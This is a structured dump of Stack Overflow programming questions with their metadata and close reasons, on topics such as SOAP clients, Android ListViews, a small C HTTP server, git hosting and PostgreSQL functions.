hello again well let my explain i have create a webservice (.asmx) in C# i have develop a client(.aspx) to see how it works after 1 month it is finally finish (yupi for my). In my web browser when a see the service (.asmx) file it shows me how to use the SOAP 1.1 HTTP 1.1, and SOAP 1.2 for my service, so my question is whats next? and by this a mean how to creat a client using the SOAP tecnology, now i am not asking for you to solve i just need to know some web pages that could help me to develop my client using SOAP, since i am a rookie talking about webservices and have no idea in how to do this, i will much apreciate any kind of help and also ask for and apology since my english is not very good. also my webservice is develop en C# but i am not using visual studio (dont ask why), wrinting in the notepad, and using IIS (again dont ask why :D )
c#
asp.net
iis
null
null
07/17/2012 23:19:35
not a real question
guide line web services whats next? === hello again well let my explain i have create a webservice (.asmx) in C# i have develop a client(.aspx) to see how it works after 1 month it is finally finish (yupi for my). In my web browser when a see the service (.asmx) file it shows me how to use the SOAP 1.1 HTTP 1.1, and SOAP 1.2 for my service, so my question is whats next? and by this a mean how to creat a client using the SOAP tecnology, now i am not asking for you to solve i just need to know some web pages that could help me to develop my client using SOAP, since i am a rookie talking about webservices and have no idea in how to do this, i will much apreciate any kind of help and also ask for and apology since my english is not very good. also my webservice is develop en C# but i am not using visual studio (dont ask why), wrinting in the notepad, and using IIS (again dont ask why :D )
1
10,203,207
04/18/2012 05:15:46
1,318,844
04/07/2012 09:12:07
1
0
J2ME(issue in facebook events)
i am creating app in J2me for mobile in that i want to access the event in facebook. i tried platformrequest"http://www.facebook.com/event.php?eid=165874020202008".but in device it says **link not available**,but in emulator it display the corresponding event page.please anyone help me.
java-me
null
null
null
null
null
open
J2ME(issue in facebook events) === i am creating app in J2me for mobile in that i want to access the event in facebook. i tried platformrequest"http://www.facebook.com/event.php?eid=165874020202008".but in device it says **link not available**,but in emulator it display the corresponding event page.please anyone help me.
0
1,620,768
10/25/2009 06:12:40
216,578
11/22/2009 19:04:25
1
0
How to make Visual Studio 2008 debugger halt at the line where an error occurs?
Whenever I am in debug mode my application closes whenever an error has occurred. The expected outcome is for the VS debugger to halt at the line where the error occurs. I am running VS 2008 on Win 7 Pro x64. Is there anyone out there with the same issue and has successfully resolved?
windows-7
visual-studio-2008
null
null
null
null
open
How to make Visual Studio 2008 debugger halt at the line where an error occurs? === Whenever I am in debug mode my application closes whenever an error has occurred. The expected outcome is for the VS debugger to halt at the line where the error occurs. I am running VS 2008 on Win 7 Pro x64. Is there anyone out there with the same issue and has successfully resolved?
0
3,932,409
10/14/2010 10:59:47
1,369,629
11/20/2008 23:55:52
105
3
Best Google App Engine Forum Application
what is the best Forum application for Google App Engine?
google-app-engine
forum
null
null
null
09/07/2011 22:30:58
not constructive
Best Google App Engine Forum Application === what is the best Forum application for Google App Engine?
4
8,377,410
12/04/2011 18:04:52
1,080,319
12/04/2011 17:46:15
1
0
Addition is not working in javascript
I am trying to learn javascript. here i am confusing with this following code. http://rendera.heroku.com/usercode/eae2b0f40cf503b36ee346f5c511b0e29fc82f9e When I put x+y in the function it is going wrong. For example 2+2=22, 5+7=57 But /, *, - are working. Why + is not working? Please help me. Thanks a lot in advance
javascript
addition
null
null
null
null
open
Addition is not working in javascript === I am trying to learn javascript. here i am confusing with this following code. http://rendera.heroku.com/usercode/eae2b0f40cf503b36ee346f5c511b0e29fc82f9e When I put x+y in the function it is going wrong. For example 2+2=22, 5+7=57 But /, *, - are working. Why + is not working? Please help me. Thanks a lot in advance
0
5,541,583
04/04/2011 16:40:54
687,956
04/01/2011 16:38:46
1
0
when we use JavaScriptSerializer deserializer?
can u explain this with example.
c#
null
null
null
null
04/04/2011 17:00:13
not a real question
when we use JavaScriptSerializer deserializer? === can u explain this with example.
1
8,809,003
01/10/2012 19:07:02
1,036,267
11/08/2011 18:56:02
133
5
WPF Changing Main Viewing Area
I'm wondering how to go about creating different views in the main window when a button is pressed. I'm not sure of the correct terminology, so that has hampered my google fu. I'm thinking that the main viewing area would be a content control, that I could change when a event happens. I made a small drawing to help illustrate my idea / thought. Any input will be appreciated. Thanks! ![Crude Mockup][1] [1]: http://i.stack.imgur.com/RgsW4.png
c#
wpf
contentcontrol
null
null
null
open
WPF Changing Main Viewing Area === I'm wondering how to go about creating different views in the main window when a button is pressed. I'm not sure of the correct terminology, so that has hampered my google fu. I'm thinking that the main viewing area would be a content control, that I could change when a event happens. I made a small drawing to help illustrate my idea / thought. Any input will be appreciated. Thanks! ![Crude Mockup][1] [1]: http://i.stack.imgur.com/RgsW4.png
0
4,790,336
01/25/2011 05:34:13
585,030
01/21/2011 20:36:12
5
0
problem sending image file over the socket in c
I am writing a C based server supporting HTTP. &buffer[5] has the file name. I set the header in next step and then send the file in block of 8Kb. It is working fine when I am requesting a txt file, but when I request a jpg file, it is not giving any o/p. Is there any specific care I need to take for image file or there is some other problem. if(( file_fd = open(&buffer[5],O_RDONLY)) == -1) /* open the file for reading */ { log1(SORRY, "HTTP/1.0 404 Not Found\n failed to open file",&buffer[5],fd);} printf("file Descrptr:%d\n",file_fd); log1(LOG,"SEND",&buffer[5],1); (void)sprintf(buffer,"HTTP/1.0 200 OK\r\nContent-Type: %s\r\n\r\n", fstr); (void)write(fd,buffer,strlen(buffer)); printf("Buffer Header:%s\n",buffer); /* send file in 8KB block - last block may be smaller */ while ( (ret = read(file_fd, buffer, BUFSIZE)) > 0 ) { (void)write(fd,buffer,ret); printf("BufferData sent's length:%d\n",strlen(buffer)); }
network-programming
null
null
null
null
null
open
problem sending image file over the socket in c === I am writing a C based server supporting HTTP. &buffer[5] has the file name. I set the header in next step and then send the file in block of 8Kb. It is working fine when I am requesting a txt file, but when I request a jpg file, it is not giving any o/p. Is there any specific care I need to take for image file or there is some other problem. if(( file_fd = open(&buffer[5],O_RDONLY)) == -1) /* open the file for reading */ { log1(SORRY, "HTTP/1.0 404 Not Found\n failed to open file",&buffer[5],fd);} printf("file Descrptr:%d\n",file_fd); log1(LOG,"SEND",&buffer[5],1); (void)sprintf(buffer,"HTTP/1.0 200 OK\r\nContent-Type: %s\r\n\r\n", fstr); (void)write(fd,buffer,strlen(buffer)); printf("Buffer Header:%s\n",buffer); /* send file in 8KB block - last block may be smaller */ while ( (ret = read(file_fd, buffer, BUFSIZE)) > 0 ) { (void)write(fd,buffer,ret); printf("BufferData sent's length:%d\n",strlen(buffer)); }
0
10,735,591
05/24/2012 10:23:23
1,409,568
05/22/2012 07:17:53
11
1
how to make listview and Bind it to the Adapter?
In Android to display List of items it Might be List of messages or List of contacts or list of anything implementing it with the help of ListView Makes your life much easier,its little Tricky but you can do it once you understand the flow.....so here goes the code for this----> in your xml file make a list view like this-----> <ListView android:id="@+id/listViewContactNew" android:layout_width="fill_parent" android:layout_height="60dp" android:layout_weight="0.71" /> After this in your Activity Page try adding this code----> ListView listViewContacts = (ListView) findViewById(R.id.listViewContact); listViewContacts.setAdapter(m_slvAdapter); where m_slvAdapter is the object of simple Cursor Adaptor to which you are binding your list.in the m_slvAdapter you have to fire the query and keep the data.
java
android
android-layout
android-widget
null
05/24/2012 12:45:40
not a real question
how to make listview and Bind it to the Adapter? === In Android to display List of items it Might be List of messages or List of contacts or list of anything implementing it with the help of ListView Makes your life much easier,its little Tricky but you can do it once you understand the flow.....so here goes the code for this----> in your xml file make a list view like this-----> <ListView android:id="@+id/listViewContactNew" android:layout_width="fill_parent" android:layout_height="60dp" android:layout_weight="0.71" /> After this in your Activity Page try adding this code----> ListView listViewContacts = (ListView) findViewById(R.id.listViewContact); listViewContacts.setAdapter(m_slvAdapter); where m_slvAdapter is the object of simple Cursor Adaptor to which you are binding your list.in the m_slvAdapter you have to fire the query and keep the data.
1
50,327
09/08/2008 18:16:38
1,013
08/11/2008 13:24:18
247
36
WPF DatePicker: Whats the best?
I need a Datepicker for a WPF application. What is considered to be the best one? Thank you
wpf
null
null
null
null
07/31/2012 19:29:17
not constructive
WPF DatePicker: Whats the best? === I need a Datepicker for a WPF application. What is considered to be the best one? Thank you
4
6,033,196
05/17/2011 15:25:16
353,909
05/30/2010 08:42:39
1
0
why aren't languages syntactically stricter?
i lose time worrying about style, e.g. spacing, line indentation, etc. i lose time adapting to different styles between projects. why are languages made flexible in this regard? why not just demand very strict formatting?
coding-style
jslint
lint
pylint
null
05/17/2011 15:41:44
not constructive
why aren't languages syntactically stricter? === i lose time worrying about style, e.g. spacing, line indentation, etc. i lose time adapting to different styles between projects. why are languages made flexible in this regard? why not just demand very strict formatting?
4
9,728,364
03/15/2012 21:22:15
855,705
07/21/2011 10:25:08
3
0
Some mp3's won't play in html5 audio player
I am using the jplayer html5 media player on the web site i am developing, but it won't play some mp3's. I've tried to play those mp3's in the browser's native player and it wont play neither. From the other side when i download them to the local drive and when i drag them to the browser's window they are playing normally. Here is the link for the page -> [audio files][1] . This file plays fine -> Andy Flannigan:Decisions Are Made By Those Who Show Up Any ideas? [1]: http://www.pioneer.org.uk/allaudio.php
html5
html5-audio
null
null
null
null
open
Some mp3's won't play in html5 audio player === I am using the jplayer html5 media player on the web site i am developing, but it won't play some mp3's. I've tried to play those mp3's in the browser's native player and it wont play neither. From the other side when i download them to the local drive and when i drag them to the browser's window they are playing normally. Here is the link for the page -> [audio files][1] . This file plays fine -> Andy Flannigan:Decisions Are Made By Those Who Show Up Any ideas? [1]: http://www.pioneer.org.uk/allaudio.php
0
5,533,919
04/04/2011 02:08:46
683,089
03/30/2011 00:53:17
8
0
"Does not name a type" in header-only library
I'm trying to write a header-only library of helper functions for myself. (I'm using boost and SDL, and boost is much easier to use, so I want to emulate that for my own helper library.) I'm getting the error "Does not name a type" for one of my classes, and it's confusing me. I know I can get this problem with a misspelling or circular include, but can't find either of those problems in my code. Forward declaration in SdlWindow.cpp doesn't help. Including the header again (so I /do/ have a circular include) doesn't help either (I get "previously defined" errors). Main.cpp: #include <WBS/SdlWindow.hpp> int main(int argc, char **argv) { WBS::SdlWindow myWindow("Test window", 640, 480); return 0; } SdlWindow.hpp: #ifndef SDLWINDOW_HPP_ #define SDLWINDOW_HPP_ #include <string> #include <SDL/SDL.h> namespace WBS { class SdlWindow { public: //Member Variables SDL_Surface *screen; int xSize; int ySize; //Constructor and Destructor SdlWindow(std::string title, int xSize, int ySize); virtual ~SdlWindow(); //Member Functions }; } #include "SdlWindow.cpp" #endif /* SDLWINDOW_HPP_ */ And SdlWindow.cpp: #include <string> namespace WBS { SdlWindow::SdlWindow(std::string title, int xSize, int ySize) { this->xSize = xSize; this->ySize = ySize; SDL_Init(SDL_INIT_VIDEO); screen = SDL_SetVideoMode(xSize, ySize, 32, SDL_ANYFORMAT); SDL_WM_SetCaption("Simple Window", "Simple Window"); } SdlWindow::~SdlWindow() { SDL_FreeSurface(screen); SDL_Quit(); } } The error I get is "SdlWindow' does not name a type", in SdlWindow.cpp, where I declare the two SdlWindow functions. What's causing this and how can I fix it? I'm compiling with mingw32's gcc in Eclipse on Windows Vista.
c++
class
header
include
null
null
open
"Does not name a type" in header-only library === I'm trying to write a header-only library of helper functions for myself. (I'm using boost and SDL, and boost is much easier to use, so I want to emulate that for my own helper library.) I'm getting the error "Does not name a type" for one of my classes, and it's confusing me. I know I can get this problem with a misspelling or circular include, but can't find either of those problems in my code. Forward declaration in SdlWindow.cpp doesn't help. Including the header again (so I /do/ have a circular include) doesn't help either (I get "previously defined" errors). Main.cpp: #include <WBS/SdlWindow.hpp> int main(int argc, char **argv) { WBS::SdlWindow myWindow("Test window", 640, 480); return 0; } SdlWindow.hpp: #ifndef SDLWINDOW_HPP_ #define SDLWINDOW_HPP_ #include <string> #include <SDL/SDL.h> namespace WBS { class SdlWindow { public: //Member Variables SDL_Surface *screen; int xSize; int ySize; //Constructor and Destructor SdlWindow(std::string title, int xSize, int ySize); virtual ~SdlWindow(); //Member Functions }; } #include "SdlWindow.cpp" #endif /* SDLWINDOW_HPP_ */ And SdlWindow.cpp: #include <string> namespace WBS { SdlWindow::SdlWindow(std::string title, int xSize, int ySize) { this->xSize = xSize; this->ySize = ySize; SDL_Init(SDL_INIT_VIDEO); screen = SDL_SetVideoMode(xSize, ySize, 32, SDL_ANYFORMAT); SDL_WM_SetCaption("Simple Window", "Simple Window"); } SdlWindow::~SdlWindow() { SDL_FreeSurface(screen); SDL_Quit(); } } The error I get is "SdlWindow' does not name a type", in SdlWindow.cpp, where I declare the two SdlWindow functions. What's causing this and how can I fix it? I'm compiling with mingw32's gcc in Eclipse on Windows Vista.
0
5,366,426
03/20/2011 02:39:37
86,191
04/02/2009 13:21:01
1,624
115
How can I unit test this C# extension method?
I'm just not sure how to mock up a situation to test this. Should I actually create a file on the file system? public static void DeleteIfExists(this FileInfo fileInfo) { if (fileInfo.Exists) { fileInfo.Delete(); } }
c#
unit-testing
null
null
null
null
open
How can I unit test this C# extension method? === I'm just not sure how to mock up a situation to test this. Should I actually create a file on the file system? public static void DeleteIfExists(this FileInfo fileInfo) { if (fileInfo.Exists) { fileInfo.Delete(); } }
0
7,990,454
11/03/2011 04:59:16
207,497
11/10/2009 04:12:59
125
5
Over the air ad hoc update nuking documents
My app downloads and stores PDFs and movies in the Documents directory. When I make an over the air ad hoc update, these documents are no longer appearing the app. I tried debugging this by inspecting the documents after the update. Although the actual documents are still there, they seem to be nuked. They will not open, and they are all of 0 bytes. Anything obvious I am missing here? Thanks
iphone
objective-c
ipad
adhoc
null
null
open
Over the air ad hoc update nuking documents === My app downloads and stores PDFs and movies in the Documents directory. When I make an over the air ad hoc update, these documents are no longer appearing the app. I tried debugging this by inspecting the documents after the update. Although the actual documents are still there, they seem to be nuked. They will not open, and they are all of 0 bytes. Anything obvious I am missing here? Thanks
0
11,263,652
06/29/2012 14:28:56
577,421
01/16/2011 10:46:17
190
4
Wordpress: Email script for a custom form?
Is there any plugin or script to process a simple custom form and send it away? I have a very simple webshop of two items made by hardcoded HTML and now I just want to post the form to a php-script which sends it away to two reciepnts (myself and the customer). I've been trying to setup a simple script using the mail() function but it doesnt work and I can't get the error message.. tried the ini_set('display_errors...) etc. But I don't want to mess around with this now. I remember doing it couple of years ago and it just too much time to start fiddling around with server settings etc etc.. Any ideas of a out of the box working solution? Cheers
php
email
plugins
script
wordpress-plugin
07/02/2012 19:44:38
off topic
Wordpress: Email script for a custom form? === Is there any plugin or script to process a simple custom form and send it away? I have a very simple webshop of two items made by hardcoded HTML and now I just want to post the form to a php-script which sends it away to two reciepnts (myself and the customer). I've been trying to setup a simple script using the mail() function but it doesnt work and I can't get the error message.. tried the ini_set('display_errors...) etc. But I don't want to mess around with this now. I remember doing it couple of years ago and it just too much time to start fiddling around with server settings etc etc.. Any ideas of a out of the box working solution? Cheers
2
7,606,300
09/30/2011 05:32:40
874,144
08/02/2011 08:13:33
6
0
Why in android it only uses NAT postrouting for tethering?
When tethering, it uses NAT POSTROUTING for outgoing packets. "-t nat -A POSTROUTING -o extIface -j MASQUERADE" Why it doesn't need to consider PREROUTING packets? How does it know where the packets from outside network should go? Thanks.
android
routing
nat
null
null
null
open
Why in android it only uses NAT postrouting for tethering? === When tethering, it uses NAT POSTROUTING for outgoing packets. "-t nat -A POSTROUTING -o extIface -j MASQUERADE" Why it doesn't need to consider PREROUTING packets? How does it know where the packets from outside network should go? Thanks.
0
10,724,716
05/23/2012 17:09:21
132,596
07/03/2009 03:20:19
88
8
Is it possible to implement existing site templates (e.g. templatemonster.com) for ASP.NET?
We are developing site engine in ASP.NET (saas). We are looking for any possibilities to implement existing site templates (e.g. templatemonster.com). What is the best way?
asp.net
asp.net-mvc
templates
null
null
05/23/2012 20:31:21
not a real question
Is it possible to implement existing site templates (e.g. templatemonster.com) for ASP.NET? === We are developing site engine in ASP.NET (saas). We are looking for any possibilities to implement existing site templates (e.g. templatemonster.com). What is the best way?
1
682,562
03/25/2009 17:15:56
81,511
03/23/2009 16:28:24
6
0
can abybody explain the structure of apache server.......
i want to know detailed wotking of apche server pls help.........
apache
null
null
null
null
03/26/2011 17:45:06
not a real question
can abybody explain the structure of apache server....... === i want to know detailed wotking of apche server pls help.........
1
8,036,183
11/07/2011 12:01:02
1,027,720
11/03/2011 13:01:04
1
0
redirect folder to another folder in web.config file iis 7.5
I am using web.config file for redirect pages but for some reason I cant redirect folder to another folder. I want to move all the files in one folder to another(they are not in the root directory). I already created the new directory and putt there the files. Please help! Thanks, Irena
iis
redirect
iis7
null
null
11/08/2011 00:11:22
not a real question
redirect folder to another folder in web.config file iis 7.5 === I am using web.config file for redirect pages but for some reason I cant redirect folder to another folder. I want to move all the files in one folder to another(they are not in the root directory). I already created the new directory and putt there the files. Please help! Thanks, Irena
1
11,040,371
06/14/2012 19:51:56
1,457,151
06/14/2012 19:37:35
1
0
Need help formatting items in a listView as currency
I am writing my first significant android app and need some help applying a currency format to some textViews in a listView. I want to format CURRENT_VALUE and TOTAL_VALUE fields as currency. I've done some reading about ViewBinde, which I suspect is what I need to use, but can't seem to wrap my head around the relationship between it and the code I've already got. Any help would be appreciated. private void fillData() { DBAdapter db = new DBAdapter(this); db.open(); Cursor c = db.getAllInventory(); startManagingCursor(c); String[] from = new String[] { db.DESCRIPTION ,db.QUANTITY,db.CURRENT_VALUE, db.TOTAL_VALUE}; int[] to = new int[] { R.id.text1,R.id.text2,R.id.text3,R.id.text4 }; SpecialCursorAdapter invItems = new SpecialCursorAdapter(this, R.layout.inv_item, c, from,to); setListAdapter(invItems); } public class SpecialCursorAdapter extends SimpleCursorAdapter { private int[] colors = new int[] { 0xFFD0D1D2, 0xFFFFFFFF }; public SpecialCursorAdapter(Context context, int layout, Cursor c, String[] from, int[] to) { super(context,layout, c, from, to); } @Override public View getView(int position, View convertView, ViewGroup parent) { View view = super.getView(position, convertView, parent); int colorPos = position % colors.length; view.setBackgroundColor(colors[colorPos]); return view; } }
android
listview
currency
null
null
null
open
Need help formatting items in a listView as currency === I am writing my first significant android app and need some help applying a currency format to some textViews in a listView. I want to format CURRENT_VALUE and TOTAL_VALUE fields as currency. I've done some reading about ViewBinde, which I suspect is what I need to use, but can't seem to wrap my head around the relationship between it and the code I've already got. Any help would be appreciated. private void fillData() { DBAdapter db = new DBAdapter(this); db.open(); Cursor c = db.getAllInventory(); startManagingCursor(c); String[] from = new String[] { db.DESCRIPTION ,db.QUANTITY,db.CURRENT_VALUE, db.TOTAL_VALUE}; int[] to = new int[] { R.id.text1,R.id.text2,R.id.text3,R.id.text4 }; SpecialCursorAdapter invItems = new SpecialCursorAdapter(this, R.layout.inv_item, c, from,to); setListAdapter(invItems); } public class SpecialCursorAdapter extends SimpleCursorAdapter { private int[] colors = new int[] { 0xFFD0D1D2, 0xFFFFFFFF }; public SpecialCursorAdapter(Context context, int layout, Cursor c, String[] from, int[] to) { super(context,layout, c, from, to); } @Override public View getView(int position, View convertView, ViewGroup parent) { View view = super.getView(position, convertView, parent); int colorPos = position % colors.length; view.setBackgroundColor(colors[colorPos]); return view; } }
0
6,665,305
07/12/2011 13:54:34
816,370
06/26/2011 17:52:37
26
0
What is a good deployment resource for an experienced developer (but very inexperienced deployer)?
I'm experienced in development but an idiot when it comes to web deployment. By deployment, I mean the 'instrastructure' aspects - how to get a box, setup a server, how to do redundancy for BCP, all that kind of stuff - not necessarily just pushing the code out. I've largely done desktop work. When I've done web development, it's always been domain-related work and another team has taken care of deployment and the physical architecture. I'm actually pretty embarrassed about this deficiency in my skills and knowledge. A recommended book or something like would be fabulous to help me see the big picture, different things that I need to consider before I start making decisions, basic practical network information, etc.
deployment
null
null
null
null
07/12/2011 17:18:43
off topic
What is a good deployment resource for an experienced developer (but very inexperienced deployer)? === I'm experienced in development but an idiot when it comes to web deployment. By deployment, I mean the 'instrastructure' aspects - how to get a box, setup a server, how to do redundancy for BCP, all that kind of stuff - not necessarily just pushing the code out. I've largely done desktop work. When I've done web development, it's always been domain-related work and another team has taken care of deployment and the physical architecture. I'm actually pretty embarrassed about this deficiency in my skills and knowledge. A recommended book or something like would be fabulous to help me see the big picture, different things that I need to consider before I start making decisions, basic practical network information, etc.
2
10,685,386
05/21/2012 12:36:32
1,321,507
04/09/2012 08:58:18
75
1
Send the selected value of NSPopUpButton to entity
I have a NSPopUpButton that through binding takes the data from an entity. The scheme of binging is the following: Content (bind to:country, arrangedObjects), Content Values (bind to:country, arrangedObjects, model key:country), Selected Index (bind to:country, selectionIndex). Now I would that once the user has selected the value with NSPopUpButton, the value is passed to the field of another entity. I looked everywhere but can not get it.
xcode
core-data
null
null
null
null
open
Send the selected value of NSPopUpButton to entity === I have a NSPopUpButton that through binding takes the data from an entity. The scheme of binging is the following: Content (bind to:country, arrangedObjects), Content Values (bind to:country, arrangedObjects, model key:country), Selected Index (bind to:country, selectionIndex). Now I would that once the user has selected the value with NSPopUpButton, the value is passed to the field of another entity. I looked everywhere but can not get it.
0
10,261,881
04/21/2012 18:42:58
1,348,633
04/21/2012 18:08:18
1
0
play videos in asp.net webpage in c# 3.5
I have 3 video files of different formats, my requirement is show these files in a list and a video has to play in my web page which user desired, and i am using visual studio 2008. thanks in advance.
video
asp.net-webpages
playing
null
null
null
open
play videos in asp.net webpage in c# 3.5 === I have 3 video files of different formats, my requirement is show these files in a list and a video has to play in my web page which user desired, and i am using visual studio 2008. thanks in advance.
0
4,236,416
11/21/2010 04:19:22
24,644
10/02/2008 20:54:34
282
0
which more secure to build web apps with, php or python?
which programming language is more secure to build web apps with, php or python?
php
python
web-applications
programming-languages
null
11/21/2010 04:34:11
not constructive
which more secure to build web apps with, php or python? === which programming language is more secure to build web apps with, php or python?
4
2,343,093
02/26/2010 16:30:05
252,369
01/16/2010 22:11:51
104
0
what is log likelihood?
an example would be great
math
null
null
null
null
02/26/2010 16:35:48
not a real question
what is log likelihood? === an example would be great
1
9,046,891
01/28/2012 16:35:53
1,175,416
01/28/2012 15:59:20
1
0
addClass/removeClass on HTML menu isn't working
i've got a problem with getting my navigation bar to work. This probably is very easy to solve but i've been trying things for ages and can't get it to work. For CSS purposes i want the list item in the nav bar to get the class 'selected' when clicked and removed when a different nav bar item is clicked. For some reason it doesn't work. i'll show the code here: <script type="text/javascript"> $('ul.navigation li a').click(function(){ $('ul.navigation li a').removeClass('selected'); $(this).addClass('selected'); }); </script> I put this part in the `<head>...</head>` This is the navigation bar which it's not having any effect on: <div id="menuWrapper"> <nav> <ul class="navigation underlinemenu" id="gooeymenu"> <li id="home" class="selected"><a href="/html/index.php">Home</a></li> <li id="work"><a href="/html/work.php">Work</a></li> <li id="services"><a href="/html/services.php">Services</a></li> <li id="about"><a href="/html/about.php">About me</a></li> <li id="contact"><a href="/html/contact.php">Contact</a></li> </ul> </nav> </div> Now when i go to the browser and inspect the element it doesn't show any indication of adding the class 'selected' to the clicked menu item. When i check the console it gives some sort of error about the `$('ul.navigation li a').click(function(){` part of the javascript saying it isn't a function. I hope this has explained my problem, i still think it's probably easy to solve but i've been stuck on this for an entire day so i hope anyone here can help me. Thanks in advance.
javascript
jquery
html
null
null
null
open
addClass/removeClass on HTML menu isn't working === i've got a problem with getting my navigation bar to work. This probably is very easy to solve but i've been trying things for ages and can't get it to work. For CSS purposes i want the list item in the nav bar to get the class 'selected' when clicked and removed when a different nav bar item is clicked. For some reason it doesn't work. i'll show the code here: <script type="text/javascript"> $('ul.navigation li a').click(function(){ $('ul.navigation li a').removeClass('selected'); $(this).addClass('selected'); }); </script> I put this part in the `<head>...</head>` This is the navigation bar which it's not having any effect on: <div id="menuWrapper"> <nav> <ul class="navigation underlinemenu" id="gooeymenu"> <li id="home" class="selected"><a href="/html/index.php">Home</a></li> <li id="work"><a href="/html/work.php">Work</a></li> <li id="services"><a href="/html/services.php">Services</a></li> <li id="about"><a href="/html/about.php">About me</a></li> <li id="contact"><a href="/html/contact.php">Contact</a></li> </ul> </nav> </div> Now when i go to the browser and inspect the element it doesn't show any indication of adding the class 'selected' to the clicked menu item. When i check the console it gives some sort of error about the `$('ul.navigation li a').click(function(){` part of the javascript saying it isn't a function. I hope this has explained my problem, i still think it's probably easy to solve but i've been stuck on this for an entire day so i hope anyone here can help me. Thanks in advance.
0
3,438,191
08/09/2010 07:46:39
414,805
08/09/2010 07:30:44
1
0
Fine Reader API, webservice
i want to use finereader API to embed in my app. But i do not to know where i get API. Abby suport no much about webservice, API of finereader. i downloaded finereader 9.0 and installed, but i cannot see where APIs to call in my app (in window). thank
web-services
api
window
finereader
null
07/13/2012 15:04:47
not a real question
Fine Reader API, webservice === i want to use finereader API to embed in my app. But i do not to know where i get API. Abby suport no much about webservice, API of finereader. i downloaded finereader 9.0 and installed, but i cannot see where APIs to call in my app (in window). thank
1
3,475,727
08/13/2010 09:52:27
416,729
05/09/2010 10:13:32
1
2
How to copy text from one div to another in javascript
I have div1 and div2, upon clicking copy button I want the text in div1 copied to div2, how is it possible in javascript, pls help.
javascript
null
null
null
null
null
open
How to copy text from one div to another in javascript === I have div1 and div2, upon clicking copy button I want the text in div1 copied to div2, how is it possible in javascript, pls help.
0
8,584,364
12/21/2011 02:16:50
828,896
07/05/2011 02:13:21
13
0
What folders can be deleted in mathjax installation package?
I download the MathJax installation package at http://www.mathjax.org/download/ and unzip it, I found there are many files in this package, can I delete some useless folder or files? The following are folders I think it's useless, right? \doc \test \unpacked .gitignore LICENSE README.md README-branch.txt
api
null
null
null
null
null
open
What folders can be deleted in mathjax installation package? === I download the MathJax installation package at http://www.mathjax.org/download/ and unzip it, I found there are many files in this package, can I delete some useless folder or files? The following are folders I think it's useless, right? \doc \test \unpacked .gitignore LICENSE README.md README-branch.txt
0
9,947,490
03/30/2012 17:12:58
1,027,498
11/03/2011 10:56:44
21
1
Git repositories on shared hosting with ssh access - multiple users / one ssh account
I'm part of a small team trying to start coding on a project. I've decided it's time to give git a chance (no more svn) and was trying to see if we could use our shared web hosting to deploy a "public" repository there so that we can easily push/pull to/from it and keep up-to-date with each others changes. The problem I'm having now is that we only have a single ssh account for that hosting. Having used svn in the past, I could enforce a svn username on a given pair of ssh keys, however I don't seem to be able to do something similar with git (in other words tie the ssh keypair to a specific dev). I don't mind everybody having read/write permissions everywhere, since anything that is private should stay on each others machine. Finally, solutions such as gitosis can not be used. I guess my question to you is how is accountability to git pushes given? Is it tied to the ssh account being used, or the email address given in git config? Can I create different ssh keys for every developer (for the same ssh account though), and just send them to the devs?
git
ssh
repository
null
null
null
open
Git repositories on shared hosting with ssh access - multiple users / one ssh account === I'm part of a small team trying to start coding on a project. I've decided it's time to give git a chance (no more svn) and was trying to see if we could use our shared web hosting to deploy a "public" repository there so that we can easily push/pull to/from it and keep up-to-date with each others changes. The problem I'm having now is that we only have a single ssh account for that hosting. Having used svn in the past, I could enforce a svn username on a given pair of ssh keys, however I don't seem to be able to do something similar with git (in other words tie the ssh keypair to a specific dev). I don't mind everybody having read/write permissions everywhere, since anything that is private should stay on each others machine. Finally, solutions such as gitosis can not be used. I guess my question to you is how is accountability to git pushes given? Is it tied to the ssh account being used, or the email address given in git config? Can I create different ssh keys for every developer (for the same ssh account though), and just send them to the devs?
0
8,025,222
11/06/2011 04:30:56
911,148
08/25/2011 04:14:10
1
0
Textbox instead of messagbox to this code
I would like to know how can I add a Textbox that displays the MAC Addresses by a new line for each address/line. So it would look something like this: #1: 00:DC:FF:AE:BC:40 #2: 00:0C:F6:DE:BA:30 **CODE HERE** > ManagementClass mc = new ManagementClass("Win32_NetworkAdapterConfiguration"); > ManagementObjectCollection moc = mc.GetInstances(); > string MACAddress = ""; > foreach (ManagementObject mo in moc) > { > if (mo["MacAddress"] != null) > { > MACAddress = mo["MacAddress"].ToString(); > MessageBox.Show(MACAddress); > } > }
osx
textbox
display
adress
null
null
open
Textbox instead of messagbox to this code === I would like to know how can I add a Textbox that displays the MAC Addresses by a new line for each address/line. So it would look something like this: #1: 00:DC:FF:AE:BC:40 #2: 00:0C:F6:DE:BA:30 **CODE HERE** > ManagementClass mc = new ManagementClass("Win32_NetworkAdapterConfiguration"); > ManagementObjectCollection moc = mc.GetInstances(); > string MACAddress = ""; > foreach (ManagementObject mo in moc) > { > if (mo["MacAddress"] != null) > { > MACAddress = mo["MacAddress"].ToString(); > MessageBox.Show(MACAddress); > } > }
0
8,253,383
11/24/2011 07:14:22
964,742
09/26/2011 09:24:22
84
0
How Robust is Vaadin For Enterprise Application
Our team is looking forward to develop an Enterprise Application. The application is expected to be highly robust and scalable as it would be handing several transactions and 1000+ users simultaneously. Vaadin seems to be quiet impressive as a RIA framework and it appears it would improve productivity and development time many folds. But we are not sure of ability of Vaadin to be used as a base for applications which is supposed to be highly scalable. The number of users using the application can grow exponentially. **Kindly if anyone has used Vaadin before, please throw some light on my concerns. Also please let me know if there are better alternatives for Vaadin that would improve the productivity and development time and would form a strong base for application.** We are exited about Vaadin because it allows us to write UI components in Java :)
java
java-ee
vaadin
null
null
11/24/2011 20:35:08
not constructive
How Robust is Vaadin For Enterprise Application === Our team is looking forward to develop an Enterprise Application. The application is expected to be highly robust and scalable as it would be handing several transactions and 1000+ users simultaneously. Vaadin seems to be quiet impressive as a RIA framework and it appears it would improve productivity and development time many folds. But we are not sure of ability of Vaadin to be used as a base for applications which is supposed to be highly scalable. The number of users using the application can grow exponentially. **Kindly if anyone has used Vaadin before, please throw some light on my concerns. Also please let me know if there are better alternatives for Vaadin that would improve the productivity and development time and would form a strong base for application.** We are exited about Vaadin because it allows us to write UI components in Java :)
4
8,264,177
11/25/2011 02:05:34
734,984
05/02/2011 19:19:06
1,432
30
Copy the result of a query to a table in PostgreSQL inside function
If I execute the following command alone in PostgreSQL, it will insert the result of the query in a table called `token_relation`, but if I put this inside a PL/PGSQL function, it will try to put inside a RECORD variable. SELECT * INTO token_relation FROM textblockhastoken ORDER BY textblockid, sentence, position LIMIT 500; I want to insert in another table like when the command is execute alone. How I do this inside the function?
sql
postgresql
plpgsql
null
null
null
open
